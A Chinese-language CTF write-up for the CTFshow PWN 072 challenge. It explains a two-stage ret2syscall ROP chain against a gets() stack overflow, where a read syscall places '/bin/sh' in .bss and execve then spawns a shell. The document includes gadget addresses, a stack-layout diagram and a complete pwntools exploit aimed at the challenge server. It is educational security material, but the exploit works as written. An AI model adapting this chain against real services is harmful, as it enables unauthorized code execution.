本文仅用于技术研究,禁止用于非法用途。
Author: 枷锁
在上一关(pwn 071)中,我们通过组装内存中的 Gadgets 成功触发了 execve("/bin/sh") 系统调用。但那次胜利有一个重要的前提:程序内部恰好硬编码了 /bin/sh 这个字符串。
随着难度的提升,来到 PWN 072 ,出题人抽走了这块关键的拼图------二进制文件中再也找不到现成的 /bin/sh 字符串了。面对这种情况,难道 ROP 链就此失效了吗?答案是否定的。今天,我们将学习如何利用 多级 ROP 攻击链(Multi-stage ROP) ,结合 read 系统调用,在内存中"无中生有",亲手打造提权的利器。
第一部分:环境侦察与防御边界建模
1. 检查保护机制 (checksec & file)
首先,我们对目标二进制程序进行常规的防御评估:

~/Desktop .............................................................. at 15:28:08
> checksec ./pwn
[*] '/home/shining/Desktop/pwn'
Arch: i386-32-little <-- 32 位经典架构
RELRO: Partial RELRO
Stack: No canary found <-- 栈哨兵缺失,允许栈溢出
NX: NX enabled <-- 栈不可执行,必须依靠 ROP
PIE: No PIE (0x8048000) <-- 基址固定,内存段地址可靠
Stripped: No
> file pwn
pwn: ELF 32-bit LSB executable ... statically linked, for GNU/Linux 2.6.24 ...
战术评估: 从环境信息来看,本题与 071 的底层条件基本一致:32位、开启了 NX 保护、且是静态编译 。这决定了我们的攻击手法依然是利用程序自带的丰富汇编片段(Gadgets)构建 Ret2Syscall 攻击链。核心变数在于"弹药"(即 /bin/sh 字符串)缺失。
第二部分:代码审计与漏洞模型建立
1. 静态分析 (IDA Pro)
使用 IDA 反编译 main 函数,逻辑依然直接且致命:

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+10h] [ebp-20h] BYREF
IO_setvbuf(stdout, 0, 2, 0);
IO_setvbuf(stdin, 0, 1, 0);
IO_puts("CTFshow-PWN");
IO_puts("where is my system?");
// 【致命漏洞点】:无长度限制的字符串读取
IO_gets(&v4);
IO_puts("Emmm");
return 0;
}
漏洞建模:
- 变量
v4距离ebp的名义偏移为0x20(32字节)。 - 结合保存的
ebp(4字节),理论溢出量为 36 字节。在实际动态调试中,受栈对齐影响,到达返回地址(RET)的精确 Padding 长度为 44 字节。 - 我们可以通过
gets函数随意覆写栈帧上的返回地址,以接管执行流。
第三部分:破局思路:Write-What-Where 与双级 ROP
既然程序中没有 /bin/sh,我们就通过 read 系统调用,将这串字符手动写入到一个权限为可读可写且地址固定的内存段(如 .bss 段) ,随后再触发 execve 系统调用。
这就要求我们的 ROP 链分为清晰的两个阶段 (Two Stages):
1. 实操找基址:定位 .bss 段
我们需要一个不会影响程序原有逻辑的空白内存区。使用 readelf 或 IDA 即可查看:

> readelf -S pwn | grep .bss
[25] .bss NOBITS 080eb000 0751a8 0019bc 00 WA 0 0 32
我们选中 0x080eb000,它具备 WA(可写可分配)权限,是完美的"空投区"。
2. Stage 1:注入字符串 (The "Write" Primitive)
调用 read(0, bss_addr, size),等待用户输入,将 /bin/sh\x00 读入 .bss 段。
EAX=3(sys_read的调用号)EBX=0(文件描述符stdin)ECX=0x080eb000(目标.bss段地址)EDX=0x10(读取长度,足够容纳/bin/sh\x00即可)
3. Stage 2:触发提权 (The "Execve" Trigger)
等 read 结束后,ROP 链自动滑入下一阶段,调用 execve(bss_addr, NULL, NULL)。
EAX=0xb(11,sys_execve的调用号)EBX=0x080eb000(刚才写入了/bin/sh的地址)ECX=0(argv = NULL)EDX=0(envp = NULL)
4. 搜集 ROP Gadgets 兵工厂
通过 ROPgadget --binary pwn --only 'pop|ret' 提取以下零件:
pop eax ; ret->0x080bb2c6pop edx ; pop ecx ; pop ebx ; ret->0x0806ecb0int 0x80->0x0806F350
第四部分:双段 ROP 攻击链内存结构可视化
我们在栈上排布的指令必须严丝合缝。当 main 函数返回时,执行流变化如下:
高地址 --->
+--------------------+---------------------------------------------------+
| int 0x80 | <-- Stage 2: 终极裁决!内核触发 execve,拿 Shell! |
+--------------------+---------------------------------------------------+
| bss_addr | 被 pop 进 EBX (指向已写入 "/bin/sh" 的内存) |
+--------------------+---------------------------------------------------+
| 0 | 被 pop 进 ECX (argv = NULL) |
+--------------------+---------------------------------------------------+
| 0 | 被 pop 进 EDX (envp = NULL) |
+--------------------+---------------------------------------------------+
| pop edx; ecx; ebx | <-- Stage 2: 准备 execve 的三个参数 |
+--------------------+---------------------------------------------------+
| 0xb (11) | 被 pop 进 EAX (系统调用号:sys_execve) |
+--------------------+---------------------------------------------------+
| pop eax; ret | <-- Stage 2: sys_execve 启动 |
+====================+===================================================+
| int 0x80 | <-- Stage 1: 触发 read,程序挂起,等待我们发送 "/bin/sh"|
+--------------------+---------------------------------------------------+
| 0 | 被 pop 进 EBX (fd = 0, stdin) |
+--------------------+---------------------------------------------------+
| bss_addr | 被 pop 进 ECX (目标写入地址:0x080eb000) |
+--------------------+---------------------------------------------------+
| 0x10 | 被 pop 进 EDX (读取长度) |
+--------------------+---------------------------------------------------+
| pop edx; ecx; ebx | <-- Stage 1: 准备 read 的三个参数 |
+--------------------+---------------------------------------------------+
| 3 | 被 pop 进 EAX (系统调用号:sys_read) |
+--------------------+---------------------------------------------------+
| pop eax; ret | <-- Stage 1: 劫持 EIP,sys_read 启动 |
+====================+===================================================+
| Padding (44 B) | 覆盖局部变量与 Saved EBP,直达返回地址 |
+--------------------+---------------------------------------------------+
低地址 --->
第五部分:实战 EXP 编写与详解
使用 pwntools 将我们的战术蓝图转化为 Python 脚本。
from pwn import *
# ==========================================
# 1. 基础配置与环境初始化
# ==========================================
# 明确设定目标架构为 32 位
context(arch='i386', os='linux', log_level='debug')
# io = process('./pwn')
io = remote('pwn.challenge.ctf.show', 28183)
# ==========================================
# 2. 整合 Gadgets 兵工厂
# ==========================================
pop_eax = 0x080bb2c6
pop_edx_ecx_ebx = 0x0806ecb0
int_0x80 = 0x0806F350
bss_addr = 0x080eb000 # .bss 段的空投锚点
# ==========================================
# 3. 组装多级 ROP 攻击链 (Multi-stage Ret2Syscall)
# ==========================================
payload = b'a' * 44
# --- Stage 1: 调用 sys_read(0, bss_addr, 0x10) ---
payload += p32(pop_eax) + p32(0x3)
payload += p32(pop_edx_ecx_ebx) + p32(0x10) + p32(bss_addr) + p32(0)
payload += p32(int_0x80) # 执行中断,程序将在此处挂起,等待输入
# --- Stage 2: 调用 sys_execve(bss_addr, 0, 0) ---
# 注意:Stage 1 执行完 read 内部的内核态切换并返回(ret)后,EIP 会自然滑落到这里
payload += p32(pop_eax) + p32(0xb)
payload += p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bss_addr)
payload += p32(int_0x80) # 触发提权
# ==========================================
# 4. 执行注入与系统接管
# ==========================================
log.info("[*] 发射多级 ROP 链,第一阶段引导流劫持...")
io.recvuntil(b"where is my system?\n")
io.sendline(payload)
# 此时,Stage 1 的 read 系统调用正在等待我们的键盘输入。
# 我们通过网络发送目标字符串 "/bin/sh\x00",它会被系统精准存入到 bss_addr 中
log.info(f"[*] 正在向 BSS 段 [{hex(bss_addr)}] 盲注恶意字符串...")
bin_sh = b"/bin/sh\x00"
io.sendline(bin_sh)
log.success("[+] 第二阶段执行流已被唤醒,尝试获取系统 Shell...")
io.interactive()

第六部分:底层原理复盘与总结
1. Write-What-Where 原语的威力
本题的核心思想在漏洞利用中被称为 Write-What-Where(向任意地址写入任意内容) 原语。当安全机制(如过滤或字符串剥离)切断了我们直接调用的途径时,能够依靠微小的汇编指令手动"造轮子"运送弹药,是高级漏洞利用的标志。
2. 系统调用的连贯性
为什么 Stage 1 的 int 0x80 执行完后,会顺理成章地执行 Stage 2? 因为系统调用(如 read)在内核态执行完毕返回用户态时,CPU 会顺着我们在栈上预置的指针继续下探。整个控制流(Control Flow)被我们牢牢掌控,像多米诺骨牌一样精准倒下。
3. 核心知识点总结
- 多级 ROP 的拼接艺术:在一个 Payload 中塞入多次系统调用,并处理好串联的状态。
- BSS 段的战术价值:未初始化的全局数据区通常在内存中具有固定地址且可读写,是暂存攻击载荷的完美"空投区"。
宇宙级免责声明 🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
🔐 安全研究的正确姿势:✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界
⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。